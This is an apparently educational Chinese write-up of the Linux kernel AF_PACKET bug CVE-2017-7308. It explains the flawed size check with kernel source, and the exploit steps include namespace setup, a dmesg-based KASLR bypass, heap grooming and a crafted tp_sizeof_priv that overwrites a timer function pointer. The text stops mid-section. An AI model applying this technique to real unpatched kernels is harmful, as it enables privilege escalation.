从CTF到真实CVE:CVE-2017-7308 AF_PACKET 环形缓冲区整数溢出漏洞

参考

【kernel exploit】CVE-2017-7308 AF_PACKET 环形缓冲区溢出漏洞

环境搭建

由于内核版本过老,ubuntu 18.04的qemu才支持运行该内核

绕过KASLR的方法是通过dmesg,不常用,这里关闭dmesg,不做过多研究

make mrproper
make clean
 wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.10.6.tar.xz
 tar -xvf linux-4.10.6.tar.xz
 make defconfig
 make menuconfig
 设置 General setup —> Choose SLAB allocator (SLUB (Unqueued Allocator))> SLAB
 设置 Kernel hacking-> Compile-time checks and compiler options  --->   [*] Compile the kernel with debug info 
  设置 Kernel hacking->[*] Kernel debugging 
去源码目录的 .config设置如下
 CONFIG_PACKET=y(启用AF_PACKET套接字选项) CONFIG_USER_NS=y(用户命名空间—CAP_NET_RAW权限) CONFIG_SLAB=y
 CONFIG_E1000和CONFIG_E1000E,变更为=y
 make -j 8

去源码目录的/arch/x86/boot寻找到bzlmage,源码当前目录找vmlinux

后来发现没有native_write_cr4,感觉是没有编译进去,找到调用的地方的文件名, 然后在当前的目录的kconfig找到有个文件名的config选项,最后在.config开启,再重新编译

漏洞点

// net/packet/af_packet.c 	
@@ -4193,8 +4193,8 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
		if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))
			goto out;
		if (po->tp_version >= TPACKET_V3 &&
-            (int)(req->tp_block_size -
-			  BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)
+		    req->tp_block_size <=
+			  BLK_PLUS_PRIV((u64)req_u->req3.tp_sizeof_priv)) // 在将tp_sizeof_priv传递给BLK_PLUS_PRIV之前,将其转化为 uint64 类型值
			goto out;
		if (unlikely(req->tp_frame_size < po->tp_hdrlen +
					po->tp_reserve))
            
// 如果不转化为 uint64 类型值,当tp_sizeof_priv接近于unsigned int的最大值时,在处理BLK_PLUS_PRIV时还是会出现溢出问题。
#define BLK_PLUS_PRIV(sz_of_priv) 
		(BLK_HDR_LEN + ALIGN((sz_of_priv), V3_ALIGNMENT))

BLK_PLUS_PRIV的结果如果对于int是负数,那么req->tp_block_size - BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv会大于0,满足但BLK_PLUS_PRIV已经越界了

exp流程

启动用户命名空间

AF_PACKET套接字:用来接收和发送到网络设备的socket类型。为了创建AF_PACKET套接字,进程必须在用户命名空间中具备CAP_NET_RAW权限,这个需要root,如果 Linux 内核支持非特权用户命名空间,这将允许非 root 用户创建用户命名空间。进而在新的命名空间中,进程可以具有 CAP_NET_RAW 权限,即使在全局命名空间中它是非 root 用户。

void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		perror("[-] write_file(/proc/self/set_groups)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		perror("[-] write_file(/proc/self/uid_map)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		perror("[-] write_file(/proc/self/gid_map)");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		perror("[-] sched_setaffinity()");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo up") != 0) {
		perror("[-] system(/sbin/ifconfig lo up)");
		exit(EXIT_FAILURE);
	}
}

绕过KASLR

  1. dmesg | grep 'Freeing SMP':

    • dmesg 是一个命令,用来打印内核环形缓冲区中的消息,通常是系统启动时和运行过程中内核生成的日志。
    • grep 'Freeing SMP' 是用来过滤 dmesg 输出中的特定内容,这里是寻找包含 “Freeing SMP” 的日志行。
  2. KASLR(Kernel Address Space Layout Randomization):

    • KASLR 是一种安全技术,通过随机化内核和模块的内存地址来防止攻击者预测内存布局。
    • 因为 KASLR 会随机化内核地址,所以为了得到一致的内核地址,有时会关闭 KASLR。
  3. 内核文本地址的时效性:

    • 通过 dmesg 得到的内核地址信息(例如内核文本地址),在系统启动后的一段时间内是有效的。
    • 这是因为 dmesg 的输出是有限的,内核环形缓冲区只能存储固定数量的日志行。当日志行超过这个限制时,旧的日志会被新的日志覆盖。因此,日志信息并不会永久保存。

消耗object

利用结构体packet_sock

socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));

调用链

sys_socket()
    __sys_socket()
    	sock_create()
    		__sock_create()
    			// 首先在 net_families 数组中找协议族对应的 net_proto_family 结构体
    			/* 
    			 * 对 AF_PACKET 而言,其在 packet_init() 中通过 sock_register()
    			 * 注册了packet_family_ops,其中 create 指针为 packet_create()
    			 */
    			// 接下来会调用 net_proto_family 的 create 指针进行 sock 的创建
    			packet_create()
    				 sk_alloc()
    				     sk_prot_alloc()

会先从slab 分配,没有就通过kmalloc(prot->obj_size, priority);分配。gdb-peda$ p packet_proto .obj_size $17 = 0x580会从kmalloc-2k取,一个slab有8页,含4个object

static struct sock *sk_prot_alloc(struct proto *prot, gfp_t priority,
		int family)
{
	struct sock *sk;
	struct kmem_cache *slab;

	slab = prot->slab;
	if (slab != NULL) {
		sk = kmem_cache_alloc(slab, priority & ~__GFP_ZERO);
		if (!sk)
			return sk;
		if (want_init_on_alloc(priority))
			sk_prot_clear_nulls(sk, prot->obj_size);
	} else
		sk = kmalloc(prot->obj_size, priority);

	if (sk != NULL) {
		if (security_sk_alloc(sk, family, priority))
			goto out_free;

		if (!try_module_get(prot->owner))
			goto out_free_sec;
	}

	return sk;

out_free_sec:
	security_sk_free(sk);
out_free:
	if (slab != NULL)
		kmem_cache_free(slab, sk);
	else
		kfree(sk);
	return NULL;
}

分配大量 socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP))消耗不连续的(零散的)kmalloc-2048 object,保证接下来申请到的kmalloc-2048是连续的

消耗page

大概模板流程

# strace tcpdump -i eth0
... // (1)创建一个套接字:socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
socket(PF_PACKET, SOCK_RAW, 768)        = 3
... // (2)套接字绑定到eth0接口;
bind(3, {sa_family=AF_PACKET, proto=0x03, if2, pkttype=PACKET_HOST, addr(0)={0, }, 20) = 0
... // (3)通过PACKET_VERSION套接字选项,将环形缓冲区版本设置为TPACKET_V2;
setsockopt(3, SOL_PACKET, PACKET_VERSION, [1], 4) = 0
... // (4)使用PACKET_RX_RING套接字选项,创建一个环形缓冲区;
setsockopt(3, SOL_PACKET, PACKET_RX_RING, {block_size=131072, block_nr=31, frame_size=65616, frame_nr=31}, 16) = 0

packet_sock 结构体:每创建一个数据包套接字,内核就会分配与之对应的一个packet_sock结构体对象。

函数指针:packet_sock (rx_ring) -> packet_ring_buffer (prb_bdqc) -> tpacket_kbdq_core (retire_blk_timer) -> timer_list (含函数指针*function)

内存块&帧:packet_sock (rx_ring) -> packet_ring_buffer (pg_vec) -> pgv (*buffer 指向存内存块的数组) -> tpacket_block_desc (内存块的头部) -> tpacket3_hdr (帧的头部)

struct packet_sock {
	/* struct sock has to be the first member of packet_sock */
	struct sock		sk;
	struct packet_fanout	*fanout;
	union  tpacket_stats_u	stats;
	struct packet_ring_buffer	rx_ring;			// 接收receive的环形缓冲区,通过setsockopt(..., PACKET_RX_RING, ...)创建。 // !!!如下
	struct packet_ring_buffer	tx_ring;			// 传输transmit的环形缓冲区,通过setsockopt(..., PACKET_TX_RING, ...)创建。
	...
	enum tpacket_versions	tp_version;				// 环形缓冲区的版本,可通过 setsockopt(..., PACKET_VERSION, ...)设置版本。
	...
	int			(*xmit)(struct sk_buff *skb);
	struct packet_type	prot_hook ____cacheline_aligned_in_smp;
};

// packet_ring_buffer —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/internal.h#L56
struct packet_ring_buffer {
	struct pgv		*pg_vec;						// 指向pgv结构体数组的一个指针,数组中的每个元素都保存了对某个内存块的引用。每个内存块实际上都是单独分配的,没有位于一个连续的内存区域中
	...
	struct tpacket_kbdq_core	prb_bdqc;			// 0x30 tpacket_kbdq_core结构体描述了环形缓冲区的当前状态。 // !!!如下
};
struct pgv {
	char *buffer;
};

// tpacket_kbdq_core —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/internal.h#L14
struct tpacket_kbdq_core {
	...
	unsigned short	blk_sizeof_priv;				// 包含每个内存块所属的私有区域的大小。 由用户参数 tpacket_req3->tp_sizeof_priv 传过来, unsigned int -> unsigned short
	...
	char		*nxt_offset;						// 指向当前活跃的内存块的内部区域,表明下一个数据包的存放位置。
	...
	struct timer_list retire_blk_timer;				// timer_list结构体,用来描述超时发生后停用当前内存块的那个计时器
};

// timer_list —— https://elixir.bootlin.com/linux/v4.10.6/source/include/linux/timer.h#L12
struct timer_list {
	struct hlist_node	entry;
	unsigned long		expires;
	void			(*function)(unsigned long);
	unsigned long		data;
	u32			flags;
};

内核使用packet_setsockopt()函数处理数据包套接字的选项设置操作。当使用PACKET_VERSION套接字选项时,内核就会将po->tp_version参数的值设置为对应的值。接下来,使用PACKET_RX_RING套接字选项,创建一个用于数据包接收的环形缓冲区(内核实际调用packet_set_ring()函数完成该过程)

static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
		int closing, int tx_ring)
{
    ...
	// (1)首先,packet_set_ring() 函数会对给定的环形缓冲区参数执行一系列完整性检查操作
		err = -EINVAL;
		if (unlikely((int)req->tp_block_size <= 0))
			goto out;
		if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))
			goto out;
		if (po->tp_version >= TPACKET_V3 &&
		    (int)(req->tp_block_size -
			  BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0)			// 漏洞点!!!!!!!!!!!!!!!     该检查可绕过
			goto out;
		if (unlikely(req->tp_frame_size < po->tp_hdrlen +
					po->tp_reserve))
			goto out;
		if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1)))
			goto out;

		rb->frames_per_block = req->tp_block_size / req->tp_frame_size;
		if (unlikely(rb->frames_per_block == 0))
			goto out;
		if (unlikely((rb->frames_per_block * req->tp_block_nr) !=
					req->tp_frame_nr))
			goto out;
    // (2)分配环形缓冲区的内存块空间。alloc_pg_vec() -> alloc_one_pg_vec_page() 使用内核页分配器来分配内存块(漏洞利用中用到了)
    	err = -ENOMEM;
		order = get_order(req->tp_block_size);
		pg_vec = alloc_pg_vec(req, order); 
		// alloc_pg_vec内部会分配block_nr个pgv和block_nr个order页
	// pg_vec = kcalloc(block_nr, sizeof(struct pgv), GFP_KERNEL);
	// if (unlikely(!pg_vec))
	// 	goto out;

	// for (i = 0; i < block_nr; i++) {
	// 	pg_vec[i].buffer = alloc_one_pg_vec_page(order);
	// 	if (unlikely(!pg_vec[i].buffer))
	// 		goto out_free_pgvec;
	// }
		if (unlikely(!pg_vec))
			goto out;
    // (3)调用init_prb_bdqc()函数,创建一个接收数据包的TPACKET_V3环形缓冲区。
    	switch (po->tp_version) {
		case TPACKET_V3:
		/* Transmit path is not supported. We checked
		 * it above but just being paranoid
		 */
			if (!tx_ring)
				init_prb_bdqc(po, rb, pg_vec, req_u);				// !!!!!!!!!!!!!!!  <--------------------
			break;
		default:
			break;
		}
 
// init_prb_bdqc() —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/af_packet.c#L603
// 将环形缓冲区参数拷贝到环形缓冲区结构体中的prb_bdqc字段,在这些参数的基础上计算其他一些参数值,设置停用内存块的计时器,然后调用prb_open_block()函数初始化第一个内存块。
static void init_prb_bdqc(struct packet_sock *po,
			struct packet_ring_buffer *rb,
			struct pgv *pg_vec,
			union tpacket_req_u *req_u)
{
	struct tpacket_kbdq_core *p1 = GET_PBDQC_FROM_RB(rb);	// 将环形缓冲区参数拷贝到环形缓冲区结构体中的prb_bdqc字段
	struct tpacket_block_desc *pbd;

	memset(p1, 0x0, sizeof(*p1));

	p1->knxt_seq_num = 1;
	p1->pkbdq = pg_vec;
	pbd = (struct tpacket_block_desc *)pg_vec[0].buffer;		// pbd指向第1个内存块
	p1->pkblk_start	= pg_vec[0].buffer;
	p1->kblk_size = req_u->req3.tp_block_size;
	p1->knum_blocks	= req_u->req3.tp_block_nr;
	p1->hdrlen = po->tp_hdrlen;
	p1->version = po->tp_version;
	p1->last_kactive_blk_num = 0;
	po->stats.stats3.tp_freeze_q_cnt = 0;
	if (req_u->req3.tp_retire_blk_tov)						// 设置停用内存块的计时器
		p1->retire_blk_tov = req_u->req3.tp_retire_blk_tov;
	else
		p1->retire_blk_tov = prb_calc_retire_blk_tmo(po,
						req_u->req3.tp_block_size);
	p1->tov_in_jiffies = msecs_to_jiffies(p1->retire_blk_tov);
	p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;			// 赋值 blk_sizeof_priv

	p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);
	prb_init_ft_ops(p1, req_u);
	prb_setup_retire_blk_timer(po);
	prb_open_block(p1, pbd);								// 调用prb_open_block()函数初始化第一个内存块   !!!!!!! <----------
}

// prb_open_block —— https://elixir.bootlin.com/linux/v4.10.6/source/net/packet/af_packet.c#L840
// 设置 tpacket_kbdq_core 结构体中的 nxt_offset 字段,将其指向紧挨着每个内存块私有区域的那个地址。
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
	struct tpacket_block_desc *pbd1)
{
	...
	pkc1->pkblk_start = (char *)pbd1;
	pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv); 	// pkc1->nxt_offset 指向私有区域之后的内存块 即下次使用的起始部分
	...
}

我们是通过packet_setsockopt设置缓冲区时来创建缓冲区,相关的缓冲区参数由传入指定的结构体tpacket_req3 决定

struct tpacket_req3 {
	unsigned int	tp_block_size;	/* Minimal size of contiguous block */	// 每个内存块的大小
	unsigned int	tp_block_nr;	/* Number of blocks */					// 内存块的个数
	unsigned int	tp_frame_size;	/* Size of frame */						// 每个帧的大小,TPACKET_V3会忽视这个字段
	unsigned int	tp_frame_nr;	/* Total number of frames */			// 帧的个数,TPACKET_V3会忽视这个字段
	unsigned int	tp_retire_blk_tov; /* timeout in msecs */				// 超时时间(毫秒),超时后即使内存块没有被数据完全填满也会被内核停用(参考下文),以便用户能尽快读取数据
	unsigned int	tp_sizeof_priv; /* offset to private data area */		// 每个内存块中私有区域的大小。用户可以使用这个区域存放与每个内存块有关的任何信息;
	unsigned int	tp_feature_req_word;									// 一组标志(目前实际上只有一个标志),可以用来启动某些附加功能。
};

这里block_size设置为0x8000消耗掉不连续的order为3的页

溢出点

static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
               struct packet_type *pt, struct net_device *orig_dev)
{
    ...
    h.raw = packet_current_rx_frame(po, skb, TP_STATUS_KERNEL, (macoff+snaplen)); 	// (1)计算传入的 tp_sizeof_priv, 以控制伪造写入的地址 !!!!
    ...
    skb_copy_bits(skb, 0, h.raw + macoff, snaplen);					// (2)拷贝时产生溢出 !!!!!!!!!!!!!!
    ...
}

tpacket_rcv 是在 Linux 内核中的一个用于处理收到的网络数据包的函数。它是为 AF_PACKET 套接字处理传入数据包的接收操作。AF_PACKET 套接字允许用户空间程序直接访问链路层报文,它们常用于网络嗅探和包生成工具如 tcpdump 和 Wireshark。以下是函数的详细工作流程和解释:

函数参数

  • struct sk_buff *skb: 传入的数据包缓冲区。
  • struct net_device *dev: 接收数据包的网络设备。
  • struct packet_type *pt: 包类型信息,用于绑定到特定协议。
  • struct net_device *orig_dev: 原始网络设备。

函数工作流程

  1. 初步检查和变量初始化

    • 检查数据包类型是否为 PACKET_LOOPBACK,如果是则丢弃。
    • 获取套接字 sockpacket_sock 结构。
    • 检查数据包是否来自同一网络命名空间,否则丢弃。
  2. 处理数据包头

    • 根据设备类型和套接字类型处理数据包头部。如果设备有 header 操作并且套接字类型不是 SOCK_DGRAM,则将数据包头推回到数据包中。如果数据包类型是 PACKET_OUTGOING,则拉出网络层偏移。
  3. 数据包过滤

    • 运行过滤器 (run_filter) 来决定是否接受数据包。如果过滤结果为零,则丢弃数据包。
  4. 校验和处理

    • 根据数据包的校验和状态设置状态标志。
  5. 截断数据包

    • 根据过滤器结果截断数据包长度。
  6. 计算偏移量

    • 计算 MAC 和网络层的偏移量。
  7. 处理环形缓冲区

    • 检查并处理环形缓冲区的帧大小。如果需要并且共享缓冲区,则克隆或获取数据包。
  8. 锁定接收队列并处理接收帧

    • 锁定套接字的接收队列,获取当前接收帧。如果失败则丢弃并计数。
    • 增加接收头指针。
  9. 处理 Virtio 网络头

    • 如果存在 Virtio 网络头,则从数据包中提取并填充到接收缓冲区。
  10. 拷贝数据

    • 拷贝数据包内容到接收缓冲区。
  11. 时间戳处理

    • 获取数据包的时间戳并设置到接收缓冲区头部。
  12. 设置头部字段

    • 根据不同的 TPACKET 版本设置接收缓冲区头部字段。
  13. 设置 socket 地址

    • 填充 sockaddr_ll 结构,包含数据包的链路层信息。
  14. 缓存一致性处理

    • 如果架构实现了 dcache 页面刷新,则刷新缓存以确保数据一致性。
  15. 设置状态并通知

    • 设置接收缓冲区的状态,并调用 sk_data_ready 通知用户空间有新数据到达。

错误处理和数据包释放

  • 在处理过程中如果出现错误,会跳转到 drop_n_restoredrop_n_account 标签进行错误处理和数据包释放。

tpacket_rcv 函数主要负责接收和处理网络数据包,将数据拷贝到用户空间可访问的缓冲区,并根据不同的 TPACKET 版本设置相应的头部信息。该函数涉及到数据包过滤、校验和处理、时间戳处理以及缓存一致性处理等操作,以确保数据包能够正确地传递到用户空间。

内核调用tpacket_rcv()函数来接收包,每当内核收到一个新的数据包时,内核应该会把它保存到环形缓冲区中。关键函数是__packet_lookup_frame_in_block(),用于计算当前环形缓冲区中可接收数据的起始地址,这个函数的主要工作为:

  1. 检查当前活跃的内存块是否有充足的空间存放数据包;

  2. 如果空间足够,保存数据包到当前的内存块,然后返回;

  3. 如果空间不够,就调度下一个内存块,将数据包保存到下一个内存块。

大致流程如下

static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
               struct packet_type *pt, struct net_device *orig_dev)
{
    ...
    h.raw = packet_current_rx_frame(po, skb, TP_STATUS_KERNEL, (macoff+snaplen)); 	// (1)计算传入的 tp_sizeof_priv, 以控制伪造写入的地址 !!!!
    ...
    skb_copy_bits(skb, 0, h.raw + macoff, snaplen);					// (2)拷贝时产生溢出 !!!!!!!!!!!!!!
    ...
}
static void *packet_current_rx_frame(struct packet_sock *po,						// (1-2)
                        struct sk_buff *skb,
                        int status, unsigned int len)
{
    char *curr = NULL;
    switch (po->tp_version) {
    ...
    case TPACKET_V3:
        return __packet_lookup_frame_in_block(po, skb, status, len);
    ...
    }
}
// __packet_lookup_frame_in_block —— 返回当前缓冲区中可接收数据的起始地址					// (1-3)
static void *__packet_lookup_frame_in_block(struct packet_sock *po,
                        struct sk_buff *skb,
                        int status,
                        unsigned int len
                        )
{
    struct tpacket_kbdq_core *pkc;
    struct tpacket_block_desc *pbd;
    char *curr, *end;
    pkc = GET_PBDQC_FROM_RB(&po->rx_ring);
    pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
    ...
    curr = pkc->nxt_offset;
    pkc->skb = skb;
    end = (char *)pbd + pkc->kblk_size;
    /* first try the current block */
    if (curr+TOTAL_PKT_LEN_INCL_ALIGN(len) < end) { 								// (1-4)不满足本条件,所以会从第2个块中找空余的空间。
        prb_fill_curr_block(curr, pkc, pbd, len);
        return (void *)curr;
    }
    /* Ok, close the current block */
    prb_retire_current_block(pkc, po, 0);
    /* Now, try to dispatch the next block */
    curr = (char *)prb_dispatch_next_block(pkc, po); // 返回第2个块
    if (curr) {
        pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
        prb_fill_curr_block(curr, pkc, pbd, len);
        return (void *)curr;
    }
    ...
}
static void *prb_dispatch_next_block(struct tpacket_kbdq_core *pkc,
        struct packet_sock *po)
{
    ...
    prb_open_block(pkc, pbd);
    return (void *)pkc->nxt_offset;
}

总体流程

  1. 调用 tpacket_rcv 函数接收数据包
  2. 计算当前接收帧的地址
  3. 检查并分配缓冲区
  4. 拷贝数据到缓冲区
  5. 处理缓冲区填充和状态

详细步骤

1. tpacket_rcv 函数

这个函数是数据包接收的入口点。它处理数据包的各种属性并将其拷贝到合适的缓冲区。

h.raw = packet_current_rx_frame(po, skb, TP_STATUS_KERNEL, (macoff + snaplen));
  • 这行代码计算传入的帧地址,调用 packet_current_rx_frame 获取当前接收帧的地址。
skb_copy_bits(skb, 0, h.raw + macoff, snaplen);
  • 这行代码将数据包内容拷贝到计算出的缓冲区地址。可能会有溢出的风险,如果计算的地址或长度不正确。
2. packet_current_rx_frame 函数

这个函数根据 TPACKET 版本选择相应的函数来查找当前接收帧的地址。

switch (po->tp_version) {
    ...
    case TPACKET_V3:
        return __packet_lookup_frame_in_block(po, skb, status, len);
    ...
}
  • 对于 TPACKET_V3 版本,调用 __packet_lookup_frame_in_block 函数。
3. __packet_lookup_frame_in_block 函数

这个函数在当前块中查找可用的接收帧,并在必要时分配新的块。

pkc = GET_PBDQC_FROM_RB(&po->rx_ring);
pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
curr = pkc->nxt_offset;
end = (char *)pbd + pkc->kblk_size;
  • pkc 是核心缓冲区描述符,pbd 是当前块描述符,curr 是当前偏移量,end 是当前块的结束地址。
if (curr + TOTAL_PKT_LEN_INCL_ALIGN(len) < end) {
    prb_fill_curr_block(curr, pkc, pbd, len);
    return (void *)curr;
}
  • 如果当前块有足够的空间来存储数据包,则填充当前块并返回地址。
prb_retire_current_block(pkc, po, 0);
curr = (char *)prb_dispatch_next_block(pkc, po);
if (curr) {
    pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
    prb_fill_curr_block(curr, pkc, pbd, len);
    return (void *)curr;
}
  • 如果当前块没有足够的空间,则关闭当前块并分配下一个块。然后填充新块并返回地址。
4. prb_dispatch_next_block 函数

这个函数分配下一个块,并返回新块的起始地址。

static void *prb_dispatch_next_block(struct tpacket_kbdq_core *pkc,
        struct packet_sock *po)
{
    ...
    pbd = GET_CURR_PBLOCK_DESC_FROM_CORE(pkc);
    prb_open_block(pkc, pbd);
    return (void *)pkc->nxt_offset;
}

static void prb_open_block(struct tpacket_kbdq_core *pkc1,
	struct tpacket_block_desc *pbd1)
{
 pkc1->pkblk_start = (char *)pbd1;
	pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv);
}
  • 打开新块并返回新块的起始可使用位置。此时如果blk_sizeof_priv很大,就会造成nxt_offset越界

然后是将数据复制到pkc1->nxt_offset处,此时越界写

static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
               struct packet_type *pt, struct net_device *orig_dev)
{
    ...
    h.raw = packet_current_rx_frame(po, skb, TP_STATUS_KERNEL, (macoff+snaplen)); 	// (1)计算传入的 tp_sizeof_priv, 以控制伪造写入的地址 !!!!
    ...
    skb_copy_bits(skb, 0, h.raw + macoff, snaplen);					// (2)拷贝时产生溢出 !!!!!!!!!!!!!!
    ...
}
int skb_copy_bits(const struct sk_buff *skb, int offset, void *to, int len)
{
    	int start = skb_headlen(skb);
	struct sk_buff *frag_iter;
	int i, copy;

	if (offset > (int)skb->len - len)
		goto fault;

	/* Copy header. */
	if ((copy = start - offset) > 0) {
		if (copy > len)
			copy = len;
		skb_copy_from_linear_data_offset(skb, offset, to, copy); // (2-1) memcpy(to, skb->data + offset, len);  开始拷贝用户传入的数据,在这里下断点,查看是否覆盖了伪造的数据
		if ((len -= copy) == 0)
			return 0;
		offset += copy;
		to     += copy;
	}
    ...
    if ((copy = end - offset) > 0) {
			u8 *vaddr;

			if (copy > len)
				copy = len;

			vaddr = kmap_atomic(skb_frag_page(f));
			memcpy(to,
			       vaddr + f->page_offset + offset - start,
			       copy);

溢出风水1

然后因为packet_sock结构体的大小大约为1920,而1024 < 1920 <= 2048,这意味着对象的大小会调整到2048,并且会使用kmalloc-2048缓存。对于这个特定的缓存,SLUB分配器(这个分配器是Ubuntu所使用的slab分配器)会使用大小为0x8000的slabs。因此每当分配器用光kmalloc-2048缓存的slab时,它就会使用页面分配器分配
0x8000字节的空间。

所以当消耗完零散的order为3的页后,再次申请order为3的页那么此时会连续,然后再通过申请大量的kmalloc-2048使得其申请order为3的页,进而和之前的order为3的页形成的内存块连续。

由于我们是当我们的接收缓冲区接收时候发生的溢出,首先需创建绑定到对应网络接口的套接字

申请环形缓冲区,设置好溢出,这里控制的是blk_sizeof_priv 字段,blocksize依然是0x8000,然后数量是2

 unsigned int maclen = ETH_HDR_LEN;
	unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
				(maclen < 16 ? 16 : maclen));
	unsigned int macoff = netoff - maclen;
	unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
		0x8000 - BLK_HDR_LEN - macoff + offset;

----------------------------------------------------------------------
packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
		int closing, int tx_ring)
if (po->tp_version >= TPACKET_V3 &&
		    (int)(req->tp_block_size -
			  BLK_PLUS_PRIV(req_u->req3.tp_sizeof_priv)) <= 0) 

BLK_PLUS_PRIV()int为负数绕过			  
A = req->tp_block_size = 4096 = 0x1000
B = req_u->req3.tp_sizeof_priv = (1 << 31) + 4096 = 0x80001000
BLK_PLUS_PRIV(B) = (1 << 31) + 4096 + 48 = 0x80001030
A - BLK_PLUS_PRIV(B) = 0x1000 - 0x80001030 = 0x7fffffd0
(int)0x7fffffd0 = 0x7fffffd0 > 0

-----------------------------------------------------------------------
struct tpacket_kbdq_core {
	...
	unsigned short	blk_sizeof_priv;				
	// 包含每个内存块所属的私有区域的大小。 由用户参数 tpacket_req3->tp_sizeof_priv 传过来, unsigned int -> unsigned short

init_prb_bdqc(struct packet_sock *po,
			struct packet_ring_buffer *rb,
			struct pgv *pg_vec,
			union tpacket_req_u *req_u)
p1->blk_sizeof_priv = req_u->req3.tp_sizeof_priv;			// 赋值 blk_sizeof_priv
p1->max_frame_len = p1->kblk_size - BLK_PLUS_PRIV(p1->blk_sizeof_priv);

使p1->max_frame_len为一个很大的值以此来绕过后面的一些检测。
----------------------------------------------------------------------
static void prb_open_block(struct tpacket_kbdq_core *pkc1,
	struct tpacket_block_desc *pbd1)
{
	...
	pkc1->pkblk_start = (char *)pbd1;
	pkc1->nxt_offset = pkc1->pkblk_start + BLK_PLUS_PRIV(pkc1->blk_sizeof_priv); 	// pkc1->nxt_offset 指向私有区域之后的内存块
	...

#define V3_ALIGNMENT	(8)
#define BLK_HDR_LEN	(ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT)) 0x30
#define BLK_PLUS_PRIV(sz_of_priv) \
	(BLK_HDR_LEN + ALIGN((sz_of_priv), V3_ALIGNMENT))

最后初始化缓冲区的prb_open_block会打开一个内存块并设置可使用来存储数据包的地址nxt_offset ,此时为

pg_vec[0].buffer + blk_sizeof_priv + BLK_HDR_LEN=pg_vec[0].buffer +
		0x8000 - BLK_HDR_LEN - macoff + offset+BLK_HDR_LEN
	=pg_vec[0].buffer + 0x8000 - macoff + offset


macoff 的来源
else {
		unsigned int maclen = skb_network_offset(skb);
		netoff = TPACKET_ALIGN(po->tp_hdrlen +
				       (maclen < 16 ? 16 : maclen)) +
				       po->tp_reserve;
		macoff = netoff - maclen;
	}
  • 创建一个原始套接字。
  • 初始化接收环形缓冲区。
  • 设置 sockaddr_ll 结构体以指定目标接口和协议。
  • 将套接字绑定到指定接口上。

然后再喷大量packet_socket使得分配到之前内存块相邻的0x8000的slab,然后创建套接字往对应接口发送数据,导致的溢出

由于curr+TOTAL_PKT_LEN_INCL_ALIGN(len) < end不满足,因为此时 curr = pkc->nxt_offset;,由上面的溢出知道是到达下一个内存块的,然后通过prb_dispatch_next_block返回下一个内存块的可用地址(这就是为什么要选择缓冲区为两个内存块),此时为

h.raw =pg_vec[1].buffer+0x8000 - BLK_HDR_LEN - macoff + offset+BLK_HDR_LEN=pg_vec[1].buffer+0x8000 – macoff + offset

offset是在下一个0x8000块中的偏移,即对应到哪个packet_socket的哪个部分,为2048 + TIMER_OFFSET - 8代表第二个packet_sock->rx_ring->prb_bdqc->retire_blk_timer->func中的retire_blk_timer字段,由于会BLK_PLUS_PRIV对齐的原因,TIMER_OFFSET 不是八字节对齐的,所以需要-8,保证能够覆盖到retire_blk_timer结构体

然后调用skb_copy_bits(skb, 0, h.raw + macoff, snaplen)把数据复制到缓存区时的起始地址为pg_vec[1].buffer + 0x8000+2048 + TIMER_OFFSET - 8,跳过后面紧跟的一个packet_sock,这样最终的复制起始地址为后面紧跟的第二个packet_sock + TIMER_OFFSET - 6(由于对齐导致是-6,因为TIMER_OFFSET 不是八字节对齐的)

----------------------------------------------------------------------	
static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
               struct packet_type *pt, struct net_device *orig_dev)
{
    ...
    h.raw = packet_current_rx_frame(po, skb, TP_STATUS_KERNEL, (macoff+snaplen)); 	// (1)计算传入的 tp_sizeof_priv, 以控制伪造写入的地址 !!!!
    ...
    skb_copy_bits(skb, 0, h.raw + macoff, snaplen);					// (2)拷贝时产生溢出 !!!!!!!!!!!!!!
    ...
}
----------------------------------------------------------------------	
// __packet_lookup_frame_in_block —— 返回当前缓冲区中可接收数据的起始地址					// (1-3)
